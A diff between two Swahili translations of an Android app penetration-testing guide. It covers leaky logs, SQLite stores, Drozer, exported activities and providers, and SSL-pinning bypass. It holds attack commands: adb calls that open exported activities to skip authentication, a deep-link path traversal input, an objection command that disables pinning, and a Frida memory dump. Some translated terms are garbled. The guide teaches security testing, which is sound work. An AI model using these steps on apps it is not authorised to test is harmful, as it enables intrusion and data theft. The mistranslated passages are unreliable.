Baki na habari za hivi karibuni za tuzo za mdudu zinazoanzishwa na sasisho muhimu za jukwaa
|
||||
Baki mwelekezi na tuzo mpya za mdudu zinazoanzishwa na sasisho muhimu za jukwaa
|
||||
|
||||
**Jiunge nasi kwenye** [**Discord**](https://discord.com/invite/N3FrSbmwdy) na anza kushirikiana na wachomaji bora leo!
|
||||
|
||||
|
@ -271,7 +271,7 @@ Kutokana na uhusiano wa ADB unaweza kutumia **Drozer** na **Frida** ndani ya wac
|
|||
|
||||
#### Kutumia kigeuzi
|
||||
|
||||
* [**Android Studio**](https://developer.android.com/studio) (Unaweza kuunda vifaa vya **x86** na **arm**, na kulingana na [**hii** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**x86 za hivi karibuni** zinasaidia maktaba za ARM bila kuhitaji kigeuzi cha arm polepole).
|
||||
* [**Android Studio**](https://developer.android.com/studio) (Unaweza kuunda vifaa vya **x86** na **arm**, na kulingana na [**hii** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**x86 ya hivi karibuni** inasaidia maktaba za ARM bila haja ya kigeuzi cha polepole cha arm).
|
||||
* Jifunze kuweka katika ukurasa huu:
|
||||
|
||||
{% content-ref url="avd-android-virtual-device.md" %}
|
||||
|
@ -282,88 +282,81 @@ Kutokana na uhusiano wa ADB unaweza kutumia **Drozer** na **Frida** ndani ya wac
|
|||
* [**Nox**](https://es.bignox.com) (Bure, lakini haisaidii Frida au Drozer).
|
||||
|
||||
{% hint style="info" %}
|
||||
Unapounda kigeuzi kipya kwenye jukwaa lolote, kumbuka kwamba skrini ni kubwa, ndivyo kigeuzi kitakavyokuwa polepole. Chagua skrini ndogo ikiwezekana.
|
||||
Unapounda kigeuzi kipya kwenye jukwaa lolote, kumbuka kwamba kadri skrini inavyokuwa kubwa, ndivyo kigeuzi kitakavyokuwa polepole. Chagua skrini ndogo ikiwezekana.
|
||||
{% endhint %}
|
||||
|
||||
Kuweka **huduma za google** (kama Duka la Programu) kwenye Genymotion unahitaji bonyeza kitufe kilichopigwa nyekundu kwenye picha ifuatayo:
|
||||
|
||||
![](<../../.gitbook/assets/image (277).png>)
|
||||
|
||||
Pia, kumbuka kuwa katika **usakinishaji wa VM ya Android katika Genymotion** unaweza kuchagua **mode ya Mtandao wa Daraja** (hii itakuwa muhimu ikiwa utakuwa unajiunga na VM ya Android kutoka kwa VM tofauti na zana).
|
||||
Pia, kumbuka kwamba katika **usakinishaji wa VM ya Android katika Genymotion** unaweza kuchagua **mode ya Mtandao wa Daraja** (hii itakuwa muhimu ikiwa utakuwa unajiunga na VM ya Android kutoka kwa VM tofauti na zana).
|
||||
|
||||
#### Tumia kifaa halisi
|
||||
|
||||
Unahitaji kuamsha chaguo za **uchunguzi** na itakuwa nzuri ikiwa unaweza **kuipandisha mizizi**:
|
||||
Unahitaji kuamsha chaguo za **kudebugi** na itakuwa nzuri ikiwa unaweza kuipata:
|
||||
|
||||
1. **Vipimo**.
|
||||
2. (Kutoka Android 8.0) Chagua **Mfumo**.
|
||||
3. Chagua **Kuhusu simu**.
|
||||
4. Bonyeza **Nambari ya Kujenga** mara 7.
|
||||
5. Rudi nyuma na utapata **Chaguzi za Watengenezaji**.
|
||||
5. Rudi nyuma na utapata **Chaguzi za Msanidi programu**.
|
||||
|
||||
> Mara baada ya kusakinisha programu, jambo la kwanza unapaswa kufanya ni kujaribu na kuchunguza inafanya nini, inafanyaje kazi na kupata faraja nayo.\
|
||||
> Nitapendekeza **kufanya uchambuzi wa kiotomatiki wa awali kwa kutumia uchambuzi wa kiotomatiki wa MobSF + pidcat**, hivyo tutaweza **kujifunza jinsi programu inavyofanya kazi** wakati MobSF **inakamata** data nyingi **ya kuvutia** unaweza kuchunguza baadaye.
|
||||
### Kutokuwa na Uvuvi wa Data
|
||||
### Kutokwa na Data Isiyopangwa
|
||||
|
||||
**Kuingiza Kumbukumbu**
|
||||
|
||||
Wabunifu wanapaswa kuwa makini kuhusu kuweka wazi **taarifa za kurekebisha hitilafu** kwa umma, kwani inaweza kusababisha uvujaji wa data nyeti. Zana [**pidcat**](https://github.com/JakeWharton/pidcat) na `adb logcat` zinapendekezwa kwa kufuatilia kumbukumbu za maombi ili kutambua na kulinda taarifa nyeti. **Pidcat** inapendelewa kwa urahisi wake wa matumizi na uwekaji wa maandishi.
|
||||
Wabunifu wanapaswa kuwa makini kuhusu kuweka wazi **taarifa za kurekebisha hitilafu** kwa umma, kwani inaweza kusababisha kutokwa na data nyeti. Zana [**pidcat**](https://github.com/JakeWharton/pidcat) na `adb logcat` zinapendekezwa kwa kufuatilia kumbukumbu za programu ili kutambua na kulinda taarifa nyeti. **Pidcat** inapendelewa kwa urahisi wake wa matumizi na uwekaji wazi.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Tambua kwamba kutoka **baadaye mpya kuliko Android 4.0**, **maombi yanaweza tu kupata kumbukumbu zao wenyewe**. Kwa hivyo, maombi hawawezi kupata kumbukumbu za programu zingine.\
|
||||
Hata hivyo, bado inapendekezwa **kutoandika taarifa nyeti**.
|
||||
Tambua kwamba kuanzia **baada ya Android 4.0**, **programu zinaweza tu kupata kumbukumbu zao wenyewe**. Hivyo, programu haziwezi kupata kumbukumbu za programu nyingine.\
|
||||
Hata hivyo, bado inapendekezwa **kutoingiza taarifa nyeti**.
|
||||
{% endhint %}
|
||||
|
||||
**Kukariri/Kubandika Kumbukumbu za Kuficha**
|
||||
**Kuhifadhi Nakala/Kubandika Kwenye Akiba**
|
||||
|
||||
Mfumo wa **ubao wa kukariri** wa Android unawezesha utendaji wa kunakili/kubandika kwenye programu, lakini unaweka hatari kwa kuwa **maombi mengine** yanaweza **kupata** ubao wa kukariri, ikifichua data nyeti. Ni muhimu **kulemaza utendaji wa kunakili/kubandika** kwa sehemu nyeti za programu, kama vile maelezo ya kadi ya mkopo, ili kuzuia uvujaji wa data.
|
||||
Mfumo wa **ubandikaji** wa Android unawezesha utendaji wa kunakili/kubandika kwenye programu, lakini unaweka hatari kwa kuwa **programu nyingine** zinaweza **kupata** ubandikaji, hivyo kufichua data nyeti. Ni muhimu **kulemaza utendaji wa kunakili/kubandika** kwa sehemu nyeti za programu, kama vile maelezo ya kadi ya mkopo, ili kuzuia kutokwa na data.
|
||||
|
||||
**Kumbukumbu za Kukwama**
|
||||
**Kumbukumbu za Kusitisha**
|
||||
|
||||
Ikiwa programu **inakwama** na **kuhifadhi kumbukumbu**, kumbukumbu hizi zinaweza kusaidia wachomaji, hasa wakati programu haiwezi kugeuzwa kwa kurudisha nyuma. Ili kupunguza hatari hii, epuka kuandika kumbukumbu wakati wa kushindwa, na ikiwa kumbukumbu lazima itumwe kupitia mtandao, hakikisha zinatumwa kupitia kituo cha SSL kwa usalama.
|
||||
Ikiwa programu **inasitisha** na **kupata kumbukumbu**, kumbukumbu hizi zinaweza kusaidia wachomozaji, hasa wakati programu haiwezi kugeuzwa nyuma. Ili kupunguza hatari hii, epuka kuingiza kumbukumbu wakati wa kusitisha, na ikiwa kumbukumbu lazima itumwe kupitia mtandao, hakikisha zinatumwa kupitia kituo cha SSL kwa usalama.
|
||||
|
||||
Kama mchunguzi wa uvamizi, **jaribu kutazama kumbukumbu hizi**.
|
||||
Kama mchomozaji, **jaribu kutazama kumbukumbu hizi**.
|
||||
|
||||
**Data ya Takwimu Inayotumwa kwa Watu wa Tatu**
|
||||
|
||||
Maombi mara nyingi hujumuisha huduma kama Google Adsense, ambayo inaweza kwa bahati mbaya **kufichua data nyeti** kutokana na utekelezaji usio sahihi wa wabunifu. Ili kutambua uvujaji wa data, ni vyema **kukamata trafiki ya programu** na kuangalia kama kuna taarifa nyeti inayotumwa kwa huduma za watu wa tatu.
|
||||
Programu mara nyingi huingiza huduma kama Google Adsense, ambayo inaweza kwa bahati mbaya **kutokwa na data nyeti** kutokana na utekelezaji usio sahihi wa wabunifu. Ili kutambua kutokwa kwa data, ni vyema **kukamata trafiki ya programu** na kuangalia kama kuna taarifa nyeti inayotumwa kwa huduma za watu wa tatu.
|
||||
|
||||
### SQLite DBs
|
||||
|
||||
Zaidi ya maombi yataitumia **databases za ndani za SQLite** kuokoa taarifa. Wakati wa uvamizi jaribu kutazama **databases** zilizoundwa, majina ya **meza** na **vitengo** vyote vya **data** iliyookolewa kwa sababu unaweza kupata **taarifa nyeti** (ambayo itakuwa dosari).\
|
||||
Programu nyingi zitatumia **databases za ndani za SQLite** kuhifadhi taarifa. Wakati wa pentest, angalia **databases** zilizoundwa, majina ya **meza** na **vitengo** vyote vya **data** vilivyohifadhiwa kwani unaweza kupata **taarifa nyeti** (ambayo itakuwa hitilafu).\
|
||||
Databases zinapaswa kuwa katika `/data/data/jina.la.pakiti/databases` kama `/data/data/com.mwr.example.sieve/databases`
|
||||
|
||||
Ikiwa database inaokoa taarifa za siri na ime **fichwa** lakini unaweza **kupata** **nywila** ndani ya programu bado ni **dosari**.
|
||||
Ikiwa database inahifadhi taarifa za siri na ime **fichwa** lakini unaweza **kupata** **nenosiri** ndani ya programu bado ni **hitilafu**.
|
||||
|
||||
Panga meza kwa kutumia `.tables` na panga vitengo vya meza kwa kufanya `.schema <jina_la_meza>`
|
||||
|
||||
### Drozer (Shughuli za Uvamizi, Watoa Huduma wa Yaliyomo na Huduma)
|
||||
### Drozer (Shughuli za Kudukua, Watoa Huduma wa Yaliyomo na Huduma)
|
||||
|
||||
Kutoka [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** inakuruhusu **kuchukua jukumu la programu ya Android** na kuingiliana na programu zingine. Inaweza kufanya **chochote ambacho programu iliyosakinishwa inaweza kufanya**, kama vile kutumia Mawasiliano ya Mchakato wa Android (IPC) na kuingiliana na mfumo wa uendeshaji wa msingi. .\
|
||||
Drozer ni zana muhimu kwa **kutumia shughuli zilizo nje, huduma zilizo nje na Watoa Huduma wa Yaliyomo** kama utakavyojifunza katika sehemu zifuatazo.
|
||||
Kutoka kwa [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** inakuruhusu **kuchukua jukumu la programu ya Android** na kuingiliana na programu nyingine. Inaweza kufanya **chochote ambacho programu iliyosakinishwa inaweza kufanya**, kama vile kutumia Mawasiliano ya Mchakato wa Android (IPC) na kuingiliana na mfumo wa uendeshaji wa msingi. .\
|
||||
Drozer ni zana muhimu kudukua shughuli zilizodukuliwa, huduma zilizodukuliwa na Watoa Huduma wa Yaliyomo kama utakavyojifunza katika sehemu zifuatazo.
|
||||
|
||||
### Kutumia Shughuli Zilizo Nje
|
||||
### Kudukua Shughuli Zilizodukuliwa
|
||||
|
||||
[Soma hii ikiwa unataka kufahamu upya ni nini Shughuli ya Android.](android-applications-basics.md#launcher-activity-and-other-activities)\
|
||||
Pia kumbuka kuwa msimbo wa shughuli huanza katika njia ya **`onCreate`**.
|
||||
Pia kumbuka kuwa msimbo wa shughuli huanza katika mbinu ya **`onCreate`**.
|
||||
|
||||
**Kupita Kibali**
|
||||
**Kupuuza Uthibitishaji**
|
||||
|
||||
Wakati Shughuli inapoenezwa unaweza kuita skrini yake kutoka kwa programu ya nje. Kwa hivyo, ikiwa shughuli yenye **taarifa nyeti** ime **enezwa** unaweza **kupita** njia za **uthibitishaji** **kufikia** hiyo.
|
||||
|
||||
[Jifunze jinsi ya kutumia shughuli zilizo nje na Drozer.](drozer-tutorial/#activities)
|
||||
|
||||
Unaweza pia kuanzisha shughuli iliyonjezwa kutoka adb:
|
||||
|
||||
* Jina la Pakiti ni com.example.demo
|
||||
* Jina la Shughuli Iliyoenzwa ni com.example.test.MainActivity
|
||||
Wakati Shughuli inapodukuliwa unaweza kuita skrini yake kutoka kwa programu ya nje. Hivyo, ikiwa shughuli yenye **taarifa nyeti** ime **duduliwa** unaweza **kupuuza** mifumo ya **uthibitishaji** **kupata** hiyo.
|
||||
```bash
|
||||
adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
```
|
||||
**TAARIFA**: MobSF itagundua kama ni hatari kutumia _**singleTask/singleInstance**_ kama `android:launchMode` katika activity, lakini kutokana na [hii](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), inaonekana hii ni hatari kwa toleo za zamani tu (toleo la API < 21).
|
||||
**TAARIFA**: MobSF itagundua kama hatari matumizi ya _**singleTask/singleInstance**_ kama `android:launchMode` katika activity, lakini kutokana na [hii](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), inaonekana hii ni hatari kwa toleo za zamani (toleo la API < 21).
|
||||
|
||||
{% hint style="info" %}
|
||||
Tafadhali kumbuka kwamba kukiuka idhini sio lazima iwe tishio kila wakati, itategemea jinsi kukiuka hufanya kazi na ni habari gani inafichuliwa.
|
||||
Tafadhali kumbuka kwamba kukiuka idhini sio lazima iwe tishio, itategemea jinsi kukiuka hufanya kazi na ni habari gani inafichuliwa.
|
||||
{% endhint %}
|
||||
|
||||
**Kuvuja kwa Taarifa Zenye Hisia**
|
||||
|
@ -372,34 +365,34 @@ Tafadhali kumbuka kwamba kukiuka idhini sio lazima iwe tishio kila wakati, itate
|
|||
|
||||
#### Tapjacking
|
||||
|
||||
Ikiwa tapjacking haijazuiliwa, unaweza kutumia activity iliyotolewa kufanya **mtumiaji afanye vitendo visivyotarajiwa**. Kwa habari zaidi kuhusu [**ni nini Tapjacking fuata kiungo hiki**](./#tapjacking).
|
||||
Ikiwa tapjacking haijazuiliwa, unaweza kutumia activity iliyotolewa kufanya **mtumiaji afanye vitendo visivyotarajiwa**. Kwa habari zaidi kuhusu [**ni nini Tapjacking fuata kiungo**](./#tapjacking).
|
||||
|
||||
### Kutumia Watoa Huduma - Kupata na kubadilisha taarifa zenye hisia
|
||||
|
||||
[**Soma hii ikiwa unataka kufahamu upya ni nini Mtoa Huduma.**](android-applications-basics.md#content-provider)\
|
||||
Watoa huduma kimsingi hutumiwa kwa ajili ya **kushiriki data**. Ikiwa programu ina watoa huduma zilizopo unaweza kuweza **kutoa data zenye hisia** kutoka kwao. Pia ni muhimu kufanya majaribio ya **SQL injections** na **Path Traversals** kwani wanaweza kuwa na mapungufu.
|
||||
Watoa huduma kimsingi hutumiwa kwa ajili ya **kushiriki data**. Ikiwa programu ina watoa huduma inayopatikana unaweza **kutolea taarifa zenye hisia** kutoka kwao. Pia ni muhimu kufanya majaribio ya **SQL injections** na **Path Traversals** kwani wanaweza kuwa na mapungufu.
|
||||
|
||||
[**Jifunze jinsi ya kutumia Watoa Huduma na Drozer.**](drozer-tutorial/#content-providers)
|
||||
|
||||
### **Kutumia Huduma**
|
||||
|
||||
[**Soma hii ikiwa unataka kufahamu upya ni nini Huduma.**](android-applications-basics.md#services)\
|
||||
Kumbuka kuwa hatua za Huduma huanza katika njia `onStartCommand`.
|
||||
Kumbuka kuwa hatua za Huduma huanza katika mbinu `onStartCommand`.
|
||||
|
||||
Huduma ni kitu ambacho kimsingi **inaweza kupokea data**, **kuiprocess** na **kurudisha** (au la) majibu. Kwa hiyo, ikiwa programu inatoa huduma fulani unapaswa **kuangalia** **mimbo** ili kuelewa inafanya nini na kuifanyia majaribio **kwa njia ya kudukuliwa** ili kutoa taarifa za siri, kukiuka hatua za uthibitishaji...
|
||||
Huduma ni kitu ambacho kimsingi **inaweza kupokea data**, **kuiprocess** na **kurudisha** (au la) majibu. Kwa hiyo, ikiwa programu inatoa huduma fulani unapaswa **kuangalia** **mimbo** ili kuelewa inafanya nini na kuifanyia majaribio **kwa njia ya kudumu** ili kutoa taarifa za siri, kukiuka hatua za uthibitishaji...
|
||||
[**Jifunze jinsi ya kutumia Huduma na Drozer.**](drozer-tutorial/#services)
|
||||
|
||||
### **Kutumia Wapokeaji wa Matangazo (Broadcast Receivers)**
|
||||
### **Kutumia Wapokeaji wa Matangazo**
|
||||
|
||||
[**Soma hii ikiwa unataka kufahamu upya ni nini Wapokeaji wa Matangazo (Broadcast Receiver).**](android-applications-basics.md#broadcast-receivers)\
|
||||
Kumbuka kuwa hatua za Wapokeaji wa Matangazo huanza katika njia `onReceive`.
|
||||
[**Soma hii ikiwa unataka kufahamu upya ni nini Mpokeaji wa Matangazo.**](android-applications-basics.md#broadcast-receivers)\
|
||||
Kumbuka kuwa hatua za Mpokeaji wa Matangazo huanza katika mbinu `onReceive`.
|
||||
|
||||
Wapokeaji wa matangazo hufuatilia aina fulani ya ujumbe. Kulingana na jinsi mpokeaji anavyoshughulikia ujumbe, inaweza kuwa na mapungufu.\
|
||||
Mpokeaji wa matangazo atakuwa anasubiri aina fulani ya ujumbe. Kulingana na jinsi mpokeaji anavyoshughulikia ujumbe huo inaweza kuwa na mapungufu.\
|
||||
[**Jifunze jinsi ya kutumia Wapokeaji wa Matangazo na Drozer.**](./#exploiting-broadcast-receivers)
|
||||
|
||||
### **Kutumia Mipango / Viungo vya Kina (Schemes / Deep links)**
|
||||
### **Kutumia Mipango / Viungo vya Kina**
|
||||
|
||||
Unaweza kutafuta viungo vya kina kwa mkono, kutumia zana kama MobSF au hati kama [hii](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\
|
||||
Unaweza kutafuta viungo vya kina kwa mkono, ukitumia zana kama MobSF au hati kama [hii](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\
|
||||
Unaweza **kufungua** mpango uliotangazwa kwa kutumia **adb** au **kivinjari**:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
|
@ -408,7 +401,7 @@ adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?para
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
_Note kwamba unaweza **kuacha jina la pakiti** na simu itaita moja kwa moja programu inayopaswa kufungua kiungo hicho._
|
||||
_Tafadhali kumbuka unaweza **kuacha jina la pakiti** na simu itaita moja kwa moja programu inayopaswa kufungua kiungo hicho._
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```markup
|
||||
|
@ -421,61 +414,61 @@ _Note kwamba unaweza **kuacha jina la pakiti** na simu itaita moja kwa moja prog
|
|||
|
||||
**Msimbo ulioendeshwa**
|
||||
|
||||
Ili kupata **msimbo utakaotekelezwa kwenye Programu**, nenda kwenye shughuli iliyoitwa na kiungo kirefu na tafuta kazi ya **`onNewIntent`**.
|
||||
Ili kupata **msimbo utakaotekelezwa kwenye Programu**, nenda kwenye shughuli iliyoitwa na kiungo cha kina na tafuta kazi ya **`onNewIntent`**.
|
||||
|
||||
![](<../../.gitbook/assets/image (436) (1) (1) (1).png>)
|
||||
|
||||
**Taarifa nyeti**
|
||||
|
||||
Kila wakati unapopata kiungo kirefu hakikisha **haipokei data nyeti (kama nywila) kupitia parameta za URL**, kwa sababu programu nyingine yoyote inaweza **kujifanya kuwa kiungo kirefu na kuiba data hiyo!**
|
||||
Kila wakati unapopata kiungo kirefu hakikisha **haipokei data nyeti (kama nywila) kupitia vigezo vya URL**, kwa sababu programu nyingine yoyote inaweza **kujifanya kuwa kiungo kirefu na kuiba data hiyo!**
|
||||
|
||||
**Parameta kwenye njia**
|
||||
**Vigezo katika njia**
|
||||
|
||||
Unapaswa pia **kuangalia ikiwa kiungo kirefu kinatumia parameta ndani ya njia** ya URL kama: `https://api.example.com/v1/users/{username}`, katika kesi hiyo unaweza kulazimisha upitishaji wa njia kwa kupata kitu kama: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\
|
||||
Tambua kwamba ukigundua sehemu sahihi za mwisho ndani ya programu unaweza kusababisha **Ukurasa wa Kuelekeza** (ikiwa sehemu ya njia inatumika kama jina la kikoa), **uchukuzi wa akaunti** (ikiwa unaweza kuhariri maelezo ya watumiaji bila ishara ya CSRF na sehemu ya udhaifu iliyotumika njia sahihi) na udhaifu mwingine wowote. Zaidi [habari kuhusu hili hapa](http://dphoeniixx.com/2020/12/13-2/).
|
||||
Unapaswa pia **kuangalia ikiwa kiungo kirefu kinatumia kigezo ndani ya njia** ya URL kama: `https://api.example.com/v1/users/{username}`, katika kesi hiyo unaweza kulazimisha upitishaji wa njia kwa kupata kitu kama: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\
|
||||
Tambua kwamba ukigundua vituo sahihi ndani ya programu unaweza kusababisha **Ukurasa wa Kuelekeza** (ikiwa sehemu ya njia inatumika kama jina la kikoa), **uchukuzi wa akaunti** (ikiwa unaweza kurekebisha maelezo ya watumiaji bila ishara ya CSRF na kituo cha udhaifu kilichotumika njia sahihi) na udhaifu mwingine wowote. Zaidi [habari kuhusu hili hapa](http://dphoeniixx.com/2020/12/13-2/).
|
||||
|
||||
**Mifano zaidi**
|
||||
|
||||
Ripoti ya [tuzo ya mdudu inayovutia](https://hackerone.com/reports/855618) kuhusu viungo (_/.well-known/assetlinks.json_).
|
||||
Ripoti ya tuzo ya mdudu [yenye kuvutia](https://hackerone.com/reports/855618) kuhusu viungo (_/.well-known/assetlinks.json_).
|
||||
|
||||
### Ukaguzi wa Tabaka la Usafirishaji na Kukosekana kwa Uthibitisho
|
||||
|
||||
* **Vyeti mara nyingi havikaguliwi ipasavyo** na programu za Android. Ni kawaida kwa programu hizi kupuuza onyo na kukubali vyeti vilivyosainiwa na wenyewe au, kwa baadhi ya hali, kurudi kutumia mawasiliano ya HTTP.
|
||||
* **Majadiliano wakati wa mkono wa SSL/TLS mara nyingi ni dhaifu**, kutumia seti za herufi zisizo salama. Udhaifu huu hufanya mawasiliano kuwa rahisi kwa mashambulizi ya mtu katikati (MITM), kuruhusu wadukuzi kufichua data.
|
||||
* **Kuvuja kwa taarifa za kibinafsi** ni hatari wakati programu zinafanya uthibitisho kwa kutumia njia salama lakini kisha kufanya mawasiliano kupitia njia zisizo salama kwa shughuli nyingine. Hatua hii haikulindi data nyeti, kama vidakuzi vya kikao au maelezo ya mtumiaji, kutokana na kutekwa na vyombo vya uovu.
|
||||
* **Kuvuja kwa taarifa za kibinafsi** ni hatari wakati programu zinafanya uthibitisho kwa kutumia njia salama lakini kisha kufanya mawasiliano kupitia njia zisizo salama kwa shughuli nyingine. Hatua hii haikulindi data nyeti, kama vile vidakuzi vya kikao au maelezo ya mtumiaji, kutokana na kutekwa na vyombo vya uovu.
|
||||
|
||||
#### Uthibitisho wa Cheti
|
||||
|
||||
Tutazingatia **uthibitisho wa cheti**. Uadilifu wa cheti cha seva lazima uthibitishwe ili kuimarisha usalama. Hii ni muhimu kwa sababu mipangilio dhaifu ya TLS na usafirishaji wa data nyeti kupitia njia zisizo na kifaa zinaweza kuleta hatari kubwa. Kwa hatua za kina kuhusu kuthibitisha vyeti vya seva na kushughulikia udhaifu, [**rasilimali hii**](https://manifestsecurity.com/android-application-security-part-10/) hutoa mwongozo kamili.
|
||||
Tutazingatia **uthibitisho wa cheti**. Uadilifu wa cheti cha seva lazima uthibitishwe ili kuimarisha usalama. Hii ni muhimu kwa sababu miundombinu dhaifu ya TLS na usafirishaji wa data nyeti kupitia njia zisizo na kifaa zinaweza kuleta hatari kubwa. Kwa hatua za kina kuhusu kuthibitisha vyeti vya seva na kushughulikia udhaifu, [**rasilimali hii**](https://manifestsecurity.com/android-application-security-part-10/) hutoa mwongozo kamili.
|
||||
|
||||
#### Kufunga SSL
|
||||
|
||||
Kufunga SSL ni hatua ya usalama ambapo programu inathibitisha cheti cha seva dhidi ya nakala inayojulikana iliyohifadhiwa ndani ya programu yenyewe. Mbinu hii ni muhimu kuzuia mashambulizi ya MITM. Kutekeleza Kufunga SSL kunapendekezwa sana kwa programu zinazoshughulikia taarifa nyeti.
|
||||
Kufunga SSL ni hatua ya usalama ambapo programu inathibitisha cheti cha seva dhidi ya nakala inayojulikana iliyohifadhiwa ndani ya programu yenyewe. Mbinu hii ni muhimu kuzuia mashambulizi ya mtu katikati. Kutekeleza Kufunga SSL kunapendekezwa sana kwa programu zinazoshughulikia taarifa nyeti.
|
||||
|
||||
#### Ukaguzi wa Trafiki
|
||||
|
||||
Ili kukagua trafiki ya HTTP, ni lazima **kusakinisha cheti cha zana ya wakala** (k.m., Burp). Bila kusakinisha cheti hiki, trafiki iliyosimbwa huenda isionekane kupitia wakala. Kwa mwongozo wa kusakinisha cheti cha CA cha desturi, [**bonyeza hapa**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
|
||||
|
||||
Programu zinazolenga **API Level 24 na zaidi** zinahitaji marekebisho kwenye Mtandao wa Usalama wa Konfiga ili kukubali cheti cha CA cha wakala. Hatua hii ni muhimu kwa kukagua trafiki iliyosimbwa. Kwa maelekezo ya kurekebisha Mtandao wa Usalama wa Konfiga, [**rejea kwa mafunzo haya**](make-apk-accept-ca-certificate.md).
|
||||
Programu zinazolenga **Kiwango cha API 24 na zaidi** zinahitaji marekebisho kwenye Mipangilio ya Usalama wa Mtandao ili kukubali cheti cha CA cha wakala. Hatua hii ni muhimu kwa kukagua trafiki iliyosimbwa. Kwa maelekezo ya kurekebisha Mipangilio ya Usalama wa Mtandao, [**rejea kwa mafunzo haya**](make-apk-accept-ca-certificate.md).
|
||||
|
||||
#### Kupitisha Kufunga SSL
|
||||
|
||||
Wakati Kufunga SSL imefanywa, kupitisha ni muhimu ili kukagua trafiki ya HTTPS. Mbinu mbalimbali zinapatikana kwa kusudi hili:
|
||||
|
||||
* **Kurekebisha** **apk** kiotomatiki ili **kipitishe** Kufunga SSL na [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Faida kuu ya chaguo hili ni kwamba hautahitaji mizizi kwa kupitisha Kufunga SSL, lakini utalazimika kufuta programu na kusakinisha mpya, na hii haitafanya kazi kila wakati.
|
||||
* Unaweza kutumia **Frida** (kujadiliwa hapa chini) kupitisha ulinzi huu. Hapa una mwongozo wa kutumia Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
|
||||
* **Kurekebisha** **apk** kiotomatiki ili **kipitishe** Kufunga SSL na [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Faida kuu ya chaguo hili ni kwamba hautahitaji mizizi kwa kupitisha Kufunga SSL, lakini utahitaji kufuta programu na kusakinisha mpya, na hii haitafanya kazi kila wakati.
|
||||
* Unaweza kutumia **Frida** (kujadiliwa hapa chini) kupitisha ulinzi huu. Hapa kuna mwongozo wa kutumia Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
|
||||
* Unaweza pia kujaribu **kupitisha Kufunga SSL kiotomatiki** kwa kutumia [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
|
||||
* Unaweza pia kujaribu **kupitisha Kufunga SSL kiotomatiki** kwa kutumia **uchambuzi wa kina wa MobSF** (kuelezewa hapa chini)
|
||||
* Unaweza pia kujaribu **kupitisha Kufunga SSL kiotomatiki** kwa kutumia **uchambuzi wa kisasa wa MobSF** (kuelezea hapa chini)
|
||||
* Ikiwa bado unadhani kuna trafiki ambayo hauichukui unaweza kujaribu **kupeleka trafiki kwa burp kwa kutumia iptables**. Soma blogi hii: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
|
||||
|
||||
#### Kutafuta Udhaifu wa Kawaida wa Wavuti
|
||||
|
||||
Ni muhimu pia kutafuta udhaifu wa kawaida wa wavuti ndani ya programu. Maelezo ya kina kuhusu kutambua na kupunguza udhaifu huu yanazidi kufunikwa mahali pengine.
|
||||
Ni muhimu pia kutafuta udhaifu wa kawaida wa wavuti ndani ya programu. Maelezo kamili kuhusu kutambua na kupunguza udhaifu huu yanazidi upeo wa muhtasari huu lakini yanashughulikiwa kwa kina mahali pengine.
|
||||
|
||||
### Frida
|
||||
|
||||
[Frida](https://www.frida.re) ni seti ya zana ya uwekaji wa kielelezo kwa waendelezaji, wanaorudisha, na watafiti wa usalama.\
|
||||
**Unaweza kupata programu inayoendeshwa na kufunga mbinu za wakati wa kukimbia kubadilisha tabia, kubadilisha thamani, kutoa thamani, kukimbia msimbo tofauti...**\
|
||||
[Frida](https://www.frida.re) ni seti ya zana ya uwekaji wa kudumu kwa waendelezaji, wanaorudisha, na watafiti wa usalama.\
|
||||
**Unaweza kupata programu inayoendeshwa na kufunga njia za wakati wa kukimbia kubadilisha tabia, kubadilisha thamani, kutoa thamani, kukimbia msimbo tofauti...**\
|
||||
Ikiwa unataka kufanya ukaguzi wa kina wa programu za Android unahitaji kujua jinsi ya kutumia Frida.
|
||||
|
||||
* Jifunze jinsi ya kutumia Frida: [**Mafunzo ya Frida**](frida-tutorial/)
|
||||
|
@ -497,7 +490,7 @@ python3 fridump3.py -u <PID>
|
|||
frida-ps -Uai
|
||||
python3 fridump3.py -u "<Name>"
|
||||
```
|
||||
Hii itatupilia kumbukumbu katika folda ya ./dump, na hapo unaweza kutumia grep na kitu kama:
|
||||
Hii itadondosha kumbukumbu katika folda ya ./dump, na hapo unaweza kutumia grep na kitu kama:
|
||||
```bash
|
||||
strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+$"
|
||||
```
|
||||
|
